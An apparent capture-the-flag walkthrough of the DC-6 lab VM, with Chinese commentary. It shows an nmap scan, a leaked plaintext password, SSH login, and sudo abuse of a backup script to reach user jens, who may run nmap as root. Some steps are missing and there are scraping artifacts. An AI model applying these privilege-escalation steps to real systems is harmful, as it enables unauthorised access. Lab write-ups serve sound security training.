└─# nmap -A -p1-65535 192.168.20.135 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 12:33 CST Nmap scan report for 192.168.20.135 Host is up (0.0016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA) | 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA) |_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Did not follow redirect to http://wordy/ MAC Address: 00:0C:29:E1:2A:54 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 1.56 ms 192.168.20.135
www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt cat things-to-do.txt Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course - Buy new laptop for Sarah's replacement
用ssh远程登录,再看看sudo
1 2 3 4 5 6 7
graham@dc-6:~$ sudo -l Matching Defaults entries for graham on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6: (jens) NOPASSWD: /home/jens/backups.sh
这里可以以jens的身份执行jens的脚本,看看脚本内容
1 2 3
graham@dc-6:~$ cat /home/jens/backups.sh #!/bin/bash tar -czf backups.tar.gz /var/www/html
graham@dc-6:/home/jens$ sudo -u jens ./backups.sh /home/jens/backups.sh: 2: /home/jens/backups.sh: B: not found tar: Removing leading `/' from member names whoami jens@dc-6:~$ whoami jens
再看看sudo还有nmap
1 2 3 4 5
hing Defaults entries for jens on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6: (root) NOPASSWD: /usr/bin/nmap